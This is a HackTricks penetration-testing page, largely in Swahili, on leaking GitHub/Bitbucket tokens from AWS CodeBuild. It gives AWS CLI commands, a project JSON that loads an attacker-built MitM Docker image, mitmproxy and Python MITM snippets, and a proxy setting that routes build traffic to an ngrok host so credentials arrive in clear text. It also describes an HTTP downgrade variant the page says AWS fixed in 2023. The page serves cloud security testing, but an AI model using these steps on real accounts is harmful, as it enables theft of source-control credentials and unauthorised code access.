AWS Codebuild - Token Leakage

Support HackTricks

Recover Github/Bitbucket Configured Tokens

Kwanza, angalia kama kuna akidi za chanzo zilizowekwa ambazo unaweza kuvuja:

aws codebuild list-source-credentials

Via Docker Image

Ikiwa unapata kuwa uthibitisho kwa mfano Github umewekwa katika akaunti, unaweza kuondoa hiyo ufikiaji (GH token au OAuth token) kwa kufanya Codebuild itumie picha maalum ya docker kuendesha ujenzi wa mradi.

Kwa kusudi hili unaweza kuunda mradi mpya wa Codebuild au kubadilisha mazingira ya moja iliyopo ili kuweka picha ya Docker.

Picha ya Docker unayoweza kutumia ni https://github.com/carlospolop/docker-mitm. Hii ni picha ya Docker ya msingi sana ambayo itakamilisha env variables https_proxy, http_proxy na SSL_CERT_FILE. Hii itakuruhusu kukamata sehemu kubwa ya trafiki ya mwenyeji iliyoonyeshwa katika https_proxy na http_proxy na kuamini SSL CERT iliyoonyeshwa katika SSL_CERT_FILE.

  1. Create & Upload your own Docker MitM image

  • Fuata maelekezo ya repo kuweka anwani yako ya IP ya proxy na kuweka cheti chako cha SSL na ujenge picha ya docker.

  • USIWEKE http_proxy ili usikamate maombi kwa kiungo cha metadata.

  • Unaweza kutumia ngrok kama ngrok tcp 4444 kuweka proxy kwa mwenyeji wako.

  • Mara tu unapokuwa na picha ya Docker iliyojengwa, pakia kwenye repo ya umma (Dockerhub, ECR...)

  1. Set the environment

  • Unda mradi mpya wa Codebuild au badilisha mazingira ya moja iliyopo.

  • Weka mradi kutumia picha ya Docker iliyozalishwa awali

  1. Set the MitM proxy in your host

  • Kama ilivyoonyeshwa katika Github repo unaweza kutumia kitu kama:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Toleo la mitmproxy lililotumika ni 9.0.1, iliripotiwa kwamba na toleo la 10 hii huenda isifanye kazi.

  1. Kimbia ujenzi & kamata taarifa za kuingia

  • Unaweza kuona token katika kichwa cha Authorization:

Hii pia inaweza kufanywa kutoka kwa aws cli kwa kitu kama

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Kupitia itifaki ya HTTP

Ukatili huu ulirekebishwa na AWS kwa wakati fulani katika wiki ya 20 ya Februari ya 2023 (nadhani Ijumaa). Hivyo, mshambuliaji hawezi kuutumia tena :)

Mshambuliaji mwenye idhini za juu katika CodeBuild anaweza kuvuja token ya Github/Bitbucket iliyowekwa au ikiwa idhini ilipangwa kupitia OAuth, token ya muda ya OAuth inayotumika kufikia msimbo.

  • Mshambuliaji anaweza kuongeza mabadiliko ya mazingira http_proxy na https_proxy kwenye mradi wa CodeBuild ukielekeza kwenye mashine yake (kwa mfano http://5.tcp.eu.ngrok.io:14972).

  • Kisha, badilisha URL ya repo ya github kutumia HTTP badala ya HTTPS, kwa mfano: **http://**github.com/carlospolop-forks/TestActions

  • Kisha, endesha mfano wa msingi kutoka https://github.com/synchronizing/mitm kwenye bandari iliyotajwa na mabadiliko ya proxy (http_proxy na https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Hatimaye, bonyeza Build the project, credentials zitatumwa kwa clear text (base64) kwenye bandari ya mitm:

Sasa mshambuliaji ataweza kutumia token kutoka kwa mashine yake, kuorodhesha haki zote alizo nazo na (ku)zitumia kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja.

Support HackTricks

Last updated